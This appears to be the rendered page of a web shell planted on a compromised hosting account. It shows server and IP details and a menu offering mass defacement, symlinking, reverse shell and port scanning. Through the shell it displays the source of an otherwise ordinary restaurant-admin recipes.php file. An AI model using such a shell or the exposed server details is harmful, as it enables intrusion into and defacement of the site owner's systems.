Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
comidarapidafran2
/
admin
/
Viewing: recipes.php
<?php include '../components/connect.php'; session_start(); $admin_id = $_SESSION['admin_id'] ?? null; if (!$admin_id) { header('location:admin_login.php'); exit(); } if (!empty($_SESSION['reset_recipes_category_filter'])) { unset($_SESSION['reset_recipes_category_filter']); header('location:recipes.php'); exit(); } if (!isset($message) || !is_array($message)) { $message = []; } $errors = []; $categoryParam = isset($_GET['category']) ? (string)$_GET['category'] : ''; $currentCategoryFilter = ''; $currentCategorySelect = ''; if ($categoryParam === 'all') { $currentCategorySelect = 'all'; } elseif ($categoryParam !== '') { $currentCategoryFilter = preg_replace('/[^0-9]/', '', $categoryParam); if ($currentCategoryFilter !== '') { $currentCategorySelect = $currentCategoryFilter; } } $selectedProductId = isset($_GET['product_id']) ? (int)$_GET['product_id'] : 0; if ($currentCategorySelect === '') { $selectedProductId = 0; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && (string)($_POST['action'] ?? '') === 'save_recipe') { $productId = isset($_POST['product_id']) ? (int)$_POST['product_id'] : 0; if ($productId <= 0) { $errors[] = 'Producto inválido.'; } else { $checkProduct = $conn->prepare('SELECT id FROM `products` WHERE id = ? LIMIT 1'); $checkProduct->execute([$productId]); if (!$checkProduct->fetchColumn()) { $errors[] = 'Producto inválido.'; } } $postedRows = $_POST['recipe'] ?? []; $normalized = []; if (is_array($postedRows)) { foreach ($postedRows as $row) { if (!is_array($row)) { continue; } $ingredientId = isset($row['ingredient_id']) ? (int)$row['ingredient_id'] : 0; if ($ingredientId <= 0) { continue; } $qty = parseDecimalFromString($row['quantity'] ?? ''); if (!is_finite($qty) || $qty <= 0) { continue; } if (!isset($normalized[$ingredientId])) { $normalized[$ingredientId] = 0.0; } $normalized[$ingredientId] += $qty; } } if (empty($errors) && !empty($normalized)) { $placeholders = implode(',', array_fill(0, count($normalized), '?')); $checkIngredients = $conn->prepare("SELECT id FROM `ingredients` WHERE id IN ($placeholders) AND is_active = 1"); $checkIngredients->execute(array_keys($normalized)); $foundIds = $checkIngredients->fetchAll(PDO::FETCH_COLUMN, 0); $foundMap = []; foreach ($foundIds as $fid) { $foundMap[(int)$fid] = true; } foreach (array_keys($normalized) as $ingredientId) { if (!isset($foundMap[(int)$ingredientId])) { $errors[] = 'Algún insumo seleccionado no existe o está inactivo.'; break; } } } if (empty($errors)) { try { $conn->beginTransaction(); $deleteStmt = $conn->prepare('DELETE FROM `product_ingredients` WHERE product_id = ?'); $deleteStmt->execute([$productId]); if (!empty($normalized)) { $insertStmt = $conn->prepare('INSERT INTO `product_ingredients` (product_id, ingredient_id, quantity) VALUES (?, ?, ?)'); foreach ($normalized as $ingredientId => $qty) { $ingredientId = (int)$ingredientId; $qty = (float)$qty; if ($ingredientId <= 0 || $qty <= 0) { continue; } $insertStmt->execute([$productId, $ingredientId, $qty]); } } $conn->commit(); $message[] = 'Receta guardada.'; $redirect = 'recipes.php?product_id=' . (int)$productId . '&saved=1'; if ($currentCategorySelect !== '') { $redirect .= '&category=' . rawurlencode($currentCategorySelect); } header('location:' . $redirect); exit(); } catch (Throwable $e) { if ($conn->inTransaction()) { $conn->rollBack(); } $errors[] = 'No se pudo guardar la receta.'; } } $selectedProductId = $productId; } $categories = $conn->query("SELECT c.* FROM categories c INNER JOIN products p ON c.id = p.category GROUP BY c.id, c.name ORDER BY c.name") ->fetchAll(PDO::FETCH_ASSOC); if ($currentCategorySelect === '') { $productsStmt = null; $products = []; } elseif ($currentCategorySelect === 'all') { $productsStmt = $conn->query( 'SELECT p.id, p.name, p.category, p.is_active, c.name AS category_name FROM `products` p LEFT JOIN `categories` c ON c.id = p.category ORDER BY p.name ASC' ); $products = $productsStmt ? $productsStmt->fetchAll(PDO::FETCH_ASSOC) : []; } else { $productsStmt = $conn->prepare( 'SELECT p.id, p.name, p.category, p.is_active, c.name AS category_name FROM `products` p LEFT JOIN `categories` c ON c.id = p.category WHERE p.category = ? ORDER BY p.name ASC' ); $productsStmt->execute([(int)$currentCategorySelect]); $products = $productsStmt ? $productsStmt->fetchAll(PDO::FETCH_ASSOC) : []; } if ($selectedProductId <= 0 && !empty($products)) { $selectedProductId = (int)$products[0]['id']; } $ingredientsStmt = $conn->query('SELECT id, name, unit FROM `ingredients` WHERE is_active = 1 ORDER BY name ASC'); $ingredients = $ingredientsStmt ? $ingredientsStmt->fetchAll(PDO::FETCH_ASSOC) : []; $selectedProduct = null; if ($selectedProductId > 0) { $productStmt = $conn->prepare('SELECT p.*, c.name AS category_name FROM `products` p LEFT JOIN `categories` c ON c.id = p.category WHERE p.id = ? LIMIT 1'); $productStmt->execute([$selectedProductId]); $selectedProduct = $productStmt->fetch(PDO::FETCH_ASSOC); } $recipeRows = []; if ($selectedProductId > 0) { $recipeStmt = $conn->prepare( 'SELECT pi.ingredient_id, pi.quantity, i.name, i.unit FROM `product_ingredients` pi INNER JOIN `ingredients` i ON i.id = pi.ingredient_id WHERE pi.product_id = ? ORDER BY i.name ASC' ); $recipeStmt->execute([$selectedProductId]); $recipeRows = $recipeStmt->fetchAll(PDO::FETCH_ASSOC); } $savedRecipe = isset($_GET['saved']) && (string)$_GET['saved'] === '1'; $businessName = getBusinessName($conn); $businessLogoVersion = getBusinessLogoVersion($conn); $iconHref = '../icon.php?size=64' . ($businessLogoVersion !== '' ? '&v=' . rawurlencode($businessLogoVersion) : ''); ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Recetas | <?= htmlspecialchars($businessName); ?></title> <link rel="icon" href="<?= htmlspecialchars($iconHref); ?>" type="image/png"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <link rel="stylesheet" href="../css/admin_style.css"> <style> body.recipes-page { background: linear-gradient(135deg, #f5f9ff 0%, #fff7f3 100%); min-height: 100vh; } .recipes-page .wrap { max-width: 1280px; margin: 0 auto; padding: 2rem; } .recipes-page .grid { display: grid; grid-template-columns: 1fr; gap: 1.5rem; } @media (min-width: 992px) { .recipes-page .grid { grid-template-columns: 360px 1fr; } } .recipes-page .card { background: #fff; border-radius: 16px; border: 1px solid rgba(226, 232, 240, 0.85); box-shadow: 0 18px 42px rgba(17, 24, 39, 0.10); padding: 1.6rem 1.7rem; } .recipes-page .card h3 { margin: 0 0 1.2rem; font-size: 1.6rem; font-weight: 800; color: #111827; } .recipes-page .field { margin-bottom: 1rem; } .recipes-page .field label { display: block; font-weight: 800; margin-bottom: .5rem; color: #1f2937; font-size: 1.2rem; } .recipes-page select.box, .recipes-page input.box { width: 100%; border-radius: 12px; border: 1px solid #cbd5f5; padding: .9rem 1rem; font-size: 1.3rem; background: #fff; } .recipes-page .products-list { margin-top: 1rem; display: flex; flex-direction: column; gap: .6rem; max-height: 62vh; overflow: auto; padding-right: .3rem; } .recipes-page .product-link { display: flex; align-items: center; justify-content: space-between; gap: .8rem; text-decoration: none; padding: .9rem 1rem; border-radius: 14px; border: 1px solid rgba(148, 163, 184, 0.45); background: rgba(248, 250, 252, 0.9); color: #0f172a; font-weight: 800; font-size: 1.2rem; } .recipes-page .product-link.active { position: relative; border-color: rgba(37, 99, 235, 0.60); background: linear-gradient(135deg, rgba(14, 165, 233, 0.18), rgba(37, 99, 235, 0.08)); box-shadow: 0 0 0 4px rgba(14, 165, 233, 0.14), 0 14px 32px rgba(15, 23, 42, 0.12); transform: translateY(-1px); padding-left: 1.65rem; } .recipes-page .product-link.active::before { content: ''; position: absolute; left: 10px; top: 12px; bottom: 12px; width: 6px; border-radius: 999px; background: linear-gradient(180deg, #0ea5e9, #2563eb); } .recipes-page .badge { display: inline-flex; align-items: center; gap: .45rem; padding: .25rem .6rem; border-radius: 999px; font-size: 1.05rem; font-weight: 900; border: 1px solid rgba(148, 163, 184, 0.55); background: rgba(255, 255, 255, 0.85); color: #334155; white-space: nowrap; } .recipes-page .badge.off { border-color: rgba(239, 68, 68, 0.35); background: rgba(254, 242, 242, 0.95); color: #b91c1c; } .recipes-page .small { color: #64748b; font-size: 1.1rem; margin-top: .35rem; line-height: 1.35; } .recipes-page .table-wrap { overflow: auto; border: 1px solid rgba(226, 232, 240, 0.95); border-radius: 16px; } .recipes-page table { width: 100%; border-collapse: collapse; font-size: 1.25rem; min-width: 720px; } .recipes-page th, .recipes-page td { padding: .85rem .8rem; border-bottom: 1px solid #e2e8f0; text-align: left; vertical-align: top; } .recipes-page th { background: #f8fafc; font-weight: 900; color: #0f172a; } .recipes-page .row-actions { display: flex; gap: .6rem; align-items: center; } .recipes-page .mini-btn { border: none; border-radius: 10px; padding: .65rem .8rem; cursor: pointer; font-weight: 900; font-size: 1.1rem; } .recipes-page .mini-btn.add { background: #0ea5e9; color: #fff; } .recipes-page .mini-btn.remove { background: #ef4444; color: #fff; } .recipes-page .actions { margin-top: 1.2rem; display: flex; gap: 1rem; flex-wrap: wrap; } .recipes-page .actions .btn, .recipes-page .actions .option-btn { width: auto; min-width: 180px; } .recipes-page .errors { background: #fef2f2; border: 1px solid #fca5a5; color: #b91c1c; padding: 1rem 1.2rem; border-radius: 14px; margin: 1.5rem 0; font-size: 1.25rem; } .recipes-page .unit-pill { display: inline-flex; align-items: center; gap: .35rem; padding: .25rem .55rem; border-radius: 999px; font-size: 1.05rem; font-weight: 900; border: 1px solid rgba(148, 163, 184, 0.55); background: rgba(248, 250, 252, 0.85); color: #334155; } .recipes-page .inline { display: flex; gap: .8rem; align-items: center; } body.recipes-page { --color-primary: #0ea5e9; --color-success: #22c55e; --color-warning: #f59e0b; --color-danger: #ef4444; } .recipes-page .card { background: rgba(255, 255, 255, 0.86); backdrop-filter: blur(10px); transition: transform .2s ease, box-shadow .2s ease; } .recipes-page .card:hover { transform: translateY(-2px); box-shadow: 0 22px 52px rgba(17, 24, 39, 0.14); } .recipes-page select.box, .recipes-page input.box { border-color: rgba(148, 163, 184, 0.55); background: rgba(255, 255, 255, 0.92); box-shadow: 0 10px 24px rgba(15, 23, 42, 0.06); } .recipes-page select.box:focus, .recipes-page input.box:focus { outline: none; border-color: rgba(37, 99, 235, 0.55); box-shadow: 0 0 0 4px rgba(37, 99, 235, 0.12), 0 10px 24px rgba(15, 23, 42, 0.10); } .recipes-page .product-link { transition: transform .2s ease, box-shadow .2s ease, border-color .2s ease; } .recipes-page .product-link:hover { transform: translateY(-1px); box-shadow: 0 12px 28px rgba(15, 23, 42, 0.10); } .recipes-page .product-link.active { position: relative; border-color: rgba(37, 99, 235, 0.60); background: linear-gradient(135deg, rgba(14, 165, 233, 0.18), rgba(37, 99, 235, 0.08)); box-shadow: 0 0 0 4px rgba(14, 165, 233, 0.14), 0 14px 32px rgba(15, 23, 42, 0.12); transform: translateY(-1px); padding-left: 1.65rem; } .recipes-page .product-link.active::before { content: ''; position: absolute; left: 10px; top: 12px; bottom: 12px; width: 6px; border-radius: 999px; background: linear-gradient(180deg, #0ea5e9, #2563eb); } .recipes-page .actions .btn, .recipes-page .actions .option-btn { border: none; border-radius: 14px; padding: 1rem 1.3rem; font-weight: 900; display: inline-flex; align-items: center; justify-content: center; gap: .6rem; cursor: pointer; transition: transform .2s ease, box-shadow .2s ease, filter .2s ease; letter-spacing: .2px; } .recipes-page .actions .option-btn { background: rgba(255, 255, 255, 0.85); color: #0f172a; border: 1px solid rgba(148, 163, 184, 0.55); box-shadow: 0 10px 24px rgba(15, 23, 42, 0.10); backdrop-filter: blur(6px); } .recipes-page .actions .btn { background: linear-gradient(135deg, #0ea5e9, #2563eb); color: #fff; box-shadow: 0 12px 26px rgba(37, 99, 235, 0.22); } .recipes-page .actions .btn:hover, .recipes-page .actions .option-btn:hover { transform: translateY(-2px); } .recipes-page .actions .btn:hover { filter: brightness(1.02); box-shadow: 0 14px 30px rgba(37, 99, 235, 0.26); } .recipes-page .actions .option-btn:hover { border-color: rgba(148, 163, 184, 0.75); box-shadow: 0 12px 28px rgba(15, 23, 42, 0.12); } .recipes-page .mini-btn.remove { background: linear-gradient(135deg, #ef4444, #b91c1c); box-shadow: 0 10px 24px rgba(239, 68, 68, 0.20); } .recipes-page .mini-btn.remove:hover { transform: translateY(-1px); } @media (max-width: 820px) { .recipes-page .wrap { padding: 1.1rem 1rem; } .recipes-page .card { padding: 1.15rem 1.1rem; } .recipes-page .card h3 { font-size: 1.35rem; margin-bottom: 1rem; } .recipes-page .field label { font-size: 1.05rem; } .recipes-page select.box, .recipes-page input.box { font-size: 1.05rem; padding: .75rem .9rem; } .recipes-page .products-list { max-height: 42vh; } .recipes-page .product-link { font-size: 1.05rem; padding: .75rem .85rem; } .recipes-page .badge { font-size: .9rem; padding: .2rem .5rem; } .recipes-page .unit-pill { font-size: .9rem; padding: .2rem .5rem; } } @media (max-width: 720px) { .recipes-page .actions { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: .75rem; } .recipes-page .actions .btn, .recipes-page .actions .option-btn { width: 100%; min-width: 0; } .recipes-page .table-wrap { overflow: visible; border: none; } .recipes-page table { min-width: 0; } .recipes-page table, .recipes-page thead, .recipes-page tbody, .recipes-page th, .recipes-page td, .recipes-page tr { display: block; width: 100%; } .recipes-page thead { display: none; } .recipes-page tr.recipe-row { background: rgba(255, 255, 255, 0.9); border: 1px solid rgba(226, 232, 240, 0.95); border-radius: 16px; box-shadow: 0 12px 28px rgba(15, 23, 42, 0.08); padding: .9rem .95rem; margin-bottom: .85rem; } .recipes-page td { border: none; padding: .55rem 0; } .recipes-page td::before { display: block; font-weight: 900; font-size: .95rem; color: #475569; margin-bottom: .4rem; letter-spacing: .2px; } .recipes-page tr.recipe-row td:nth-child(1)::before { content: 'Insumo'; } .recipes-page tr.recipe-row td:nth-child(2)::before { content: 'Cantidad'; } .recipes-page tr.recipe-row td:nth-child(3)::before { content: 'Unidad'; } .recipes-page tr.recipe-row td:nth-child(4)::before { content: 'Acción'; } .recipes-page .row-actions { width: 100%; } .recipes-page .mini-btn { width: 100%; justify-content: center; } } @media (max-width: 420px) { .recipes-page .actions { grid-template-columns: repeat(2, minmax(0, 1fr)); gap: .6rem; } .recipes-page .actions .btn, .recipes-page .actions .option-btn { padding: .85rem .9rem; font-size: 1rem; } } </style> </head> <body class="admin-panel recipes-page"> <?php include '../components/admin_header.php'; ?> <section class="page-heading"> <h1 class="section-title">Recetas</h1> </section> <div class="wrap"> <?php if (!empty($errors)): ?> <div class="errors"> <?php foreach ($errors as $err): ?> <div><?= htmlspecialchars($err); ?></div> <?php endforeach; ?> </div> <?php endif; ?> <div class="grid"> <div class="card"> <h3>Seleccionar comida</h3> <form method="GET" action=""> <div class="field"> <label for="categoryFilter">Categoría</label> <select id="categoryFilter" class="box" name="category" onchange="this.form.submit()"> <option value="" <?= $currentCategorySelect === '' ? 'selected' : ''; ?> disabled hidden>Selecciona una categoría</option> <option value="all" <?= $currentCategorySelect === 'all' ? 'selected' : ''; ?>>Todas</option> <?php foreach ($categories as $cat): ?> <option value="<?= (int)$cat['id']; ?>" <?= $currentCategorySelect !== '' && $currentCategorySelect !== 'all' && (int)$cat['id'] === (int)$currentCategorySelect ? 'selected' : ''; ?>><?= htmlspecialchars((string)$cat['name']); ?></option> <?php endforeach; ?> </select> </div> <?php if ($selectedProductId > 0): ?> <input type="hidden" name="product_id" value="<?= (int)$selectedProductId; ?>"> <?php endif; ?> </form> <div class="products-list"> <?php if ($currentCategorySelect === ''): ?> <div class="small">Selecciona una categoría para ver las comidas.</div> <?php elseif (empty($products)): ?> <div class="small">No hay productos en esta categoría.</div> <?php else: ?> <?php foreach ($products as $p): ?> <?php $pId = (int)$p['id']; $active = !empty($p['is_active']); $href = 'recipes.php?product_id=' . $pId; if ($currentCategorySelect !== '') { $href .= '&category=' . rawurlencode($currentCategorySelect); } ?> <a class="product-link <?= $pId === (int)$selectedProductId ? 'active' : ''; ?>" href="<?= htmlspecialchars($href); ?>"> <span><?= htmlspecialchars((string)$p['name']); ?></span> <span class="badge <?= $active ? '' : 'off'; ?>"> <i class="fas <?= $active ? 'fa-circle-check' : 'fa-circle-xmark'; ?>"></i> <?= $active ? 'Activo' : 'Inactivo'; ?> </span> </a> <?php endforeach; ?> <?php endif; ?> </div> </div> <div class="card"> <h3>Receta</h3> <?php if (!$selectedProduct): ?> <div class="small"><?= $currentCategorySelect === '' ? 'Selecciona una categoría para empezar.' : 'Selecciona un producto para empezar.'; ?></div> <?php else: ?> <div style="font-weight:900;font-size:1.35rem;color:#0f172a;"> <?= htmlspecialchars((string)$selectedProduct['name']); ?> <?php if (!empty($selectedProduct['category_name'])): ?> <span style="font-weight:800;color:#64748b;font-size:1.1rem;">· <?= htmlspecialchars((string)$selectedProduct['category_name']); ?></span> <?php endif; ?> </div> <div class="small" style="margin-top:.4rem;"> Define cuánto insumo consume <strong>1 unidad</strong> del producto. </div> <form method="POST" action=""> <input type="hidden" name="action" value="save_recipe"> <input type="hidden" name="product_id" value="<?= (int)$selectedProductId; ?>"> <div class="table-wrap" style="margin-top:1.2rem;"> <table id="recipe-table"> <thead> <tr> <th>Insumo</th> <th style="width:220px;">Cantidad</th> <th style="width:120px;">Unidad</th> <th style="width:130px;">Acción</th> </tr> </thead> <tbody> <?php if (empty($recipeRows)): ?> <tr class="recipe-row"> <td> <select class="box ingredient-select" name="recipe[0][ingredient_id]"> <option value="">Selecciona...</option> <?php foreach ($ingredients as $ing): ?> <option value="<?= (int)$ing['id']; ?>" data-unit="<?= htmlspecialchars((string)($ing['unit'] ?? 'u')); ?>"><?= htmlspecialchars((string)$ing['name']); ?></option> <?php endforeach; ?> </select> </td> <td> <input class="box" type="text" name="recipe[0][quantity]" placeholder="Ej: 0.15"> </td> <td> <span class="unit-pill unit-label">u</span> </td> <td> <div class="row-actions"> <button type="button" class="mini-btn remove" onclick="removeRecipeRow(this)"><i class="fas fa-trash"></i> Quitar</button> </div> </td> </tr> <?php else: ?> <?php foreach ($recipeRows as $idx => $row): ?> <tr class="recipe-row"> <td> <select class="box ingredient-select" name="recipe[<?= (int)$idx; ?>][ingredient_id]"> <option value="">Selecciona...</option> <?php foreach ($ingredients as $ing): ?> <?php $ingId = (int)$ing['id']; $unit = (string)($ing['unit'] ?? 'u'); ?> <option value="<?= $ingId; ?>" data-unit="<?= htmlspecialchars($unit); ?>" <?= $ingId === (int)$row['ingredient_id'] ? 'selected' : ''; ?>><?= htmlspecialchars((string)$ing['name']); ?></option> <?php endforeach; ?> </select> </td> <td> <input class="box" type="text" name="recipe[<?= (int)$idx; ?>][quantity]" value="<?= htmlspecialchars(rtrim(rtrim(number_format((float)$row['quantity'], 3, '.', ''), '0'), '.')); ?>" placeholder="Ej: 0.15"> </td> <td> <span class="unit-pill unit-label"><?= htmlspecialchars((string)($row['unit'] ?? 'u')); ?></span> </td> <td> <div class="row-actions"> <button type="button" class="mini-btn remove" onclick="removeRecipeRow(this)"><i class="fas fa-trash"></i> Quitar</button> </div> </td> </tr> <?php endforeach; ?> <?php endif; ?> </tbody> </table> </div> <div class="actions"> <button type="button" class="option-btn" onclick="addRecipeRow()"><i class="fas fa-plus"></i> Agregar insumo</button> <button type="submit" class="btn"><i class="fas fa-save"></i> Guardar receta</button> </div> </form> <?php endif; ?> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <script> const showSavedToast = <?= $savedRecipe ? 'true' : 'false'; ?>; if(showSavedToast && window.Swal){ Swal.fire({ toast: true, position: 'top-end', icon: 'success', title: 'Receta guardada', showConfirmButton: false, timer: 1800, timerProgressBar: true }); try { const url = new URL(window.location.href); url.searchParams.delete('saved'); window.history.replaceState({}, '', url.toString()); } catch (e) {} } const ingredientsOptionsHtml = (() => { const opts = []; opts.push('<option value="">Selecciona...</option>'); <?php foreach ($ingredients as $ing): ?> opts.push('<option value="<?= (int)$ing['id']; ?>" data-unit="<?= htmlspecialchars((string)($ing['unit'] ?? 'u')); ?>"><?= htmlspecialchars((string)$ing['name']); ?></option>'); <?php endforeach; ?> return opts.join(''); })(); function updateUnitLabelForRow(row){ const select = row.querySelector('.ingredient-select'); const label = row.querySelector('.unit-label'); if(!select || !label) return; const opt = select.options[select.selectedIndex]; const unit = opt ? (opt.getAttribute('data-unit') || 'u') : 'u'; label.textContent = unit; } function wireRecipeRow(row){ const select = row.querySelector('.ingredient-select'); if(select){ select.addEventListener('change', () => updateUnitLabelForRow(row)); } updateUnitLabelForRow(row); } function renumberRecipeRows(){ const rows = document.querySelectorAll('#recipe-table tbody .recipe-row'); rows.forEach((row, idx) => { const select = row.querySelector('.ingredient-select'); const qtyInput = row.querySelector('input.box'); if(select) select.name = `recipe[${idx}][ingredient_id]`; if(qtyInput) qtyInput.name = `recipe[${idx}][quantity]`; }); } function addRecipeRow(){ const tbody = document.querySelector('#recipe-table tbody'); if(!tbody) return; const row = document.createElement('tr'); row.className = 'recipe-row'; row.innerHTML = ` <td> <select class="box ingredient-select"></select> </td> <td> <input class="box" type="text" placeholder="Ej: 0.15"> </td> <td> <span class="unit-pill unit-label">u</span> </td> <td> <div class="row-actions"> <button type="button" class="mini-btn remove" onclick="removeRecipeRow(this)">Quitar</button> </div> </td> `; row.querySelector('.ingredient-select').innerHTML = ingredientsOptionsHtml; tbody.appendChild(row); wireRecipeRow(row); renumberRecipeRows(); } function removeRecipeRow(btn){ const row = btn?.closest('.recipe-row'); if(!row) return; const tbody = row.parentElement; row.remove(); if(tbody && tbody.querySelectorAll('.recipe-row').length === 0){ addRecipeRow(); } else { renumberRecipeRows(); } } document.querySelectorAll('#recipe-table tbody .recipe-row').forEach(wireRecipeRow); renumberRecipeRows(); function isRecipeEmpty(){ const rows = document.querySelectorAll('#recipe-table tbody .recipe-row'); for(const row of rows){ const select = row.querySelector('.ingredient-select'); const qtyInput = row.querySelector('input.box'); const ingOk = !!(select && select.value); const raw = (qtyInput?.value || '').trim(); const qty = raw === '' ? 0 : Number(raw.replace(',', '.')); if(ingOk && isFinite(qty) && qty > 0){ return false; } } return true; } const recipeForm = document.querySelector('form[method="POST"]'); if(recipeForm && window.Swal){ recipeForm.addEventListener('submit', (e) => { if(!isRecipeEmpty()) return; e.preventDefault(); Swal.fire({ title: '¿Guardar receta vacía?', text: 'Esto eliminará todos los insumos de la receta para este producto.', icon: 'warning', showCancelButton: true, confirmButtonText: 'Sí, guardar', cancelButtonText: 'Cancelar', confirmButtonColor: '#2563eb', cancelButtonColor: '#6b7280' }).then((res) => { if(res.isConfirmed){ recipeForm.submit(); } }); }); } </script> </body> </html>
Coded With 💗 by
0x6ick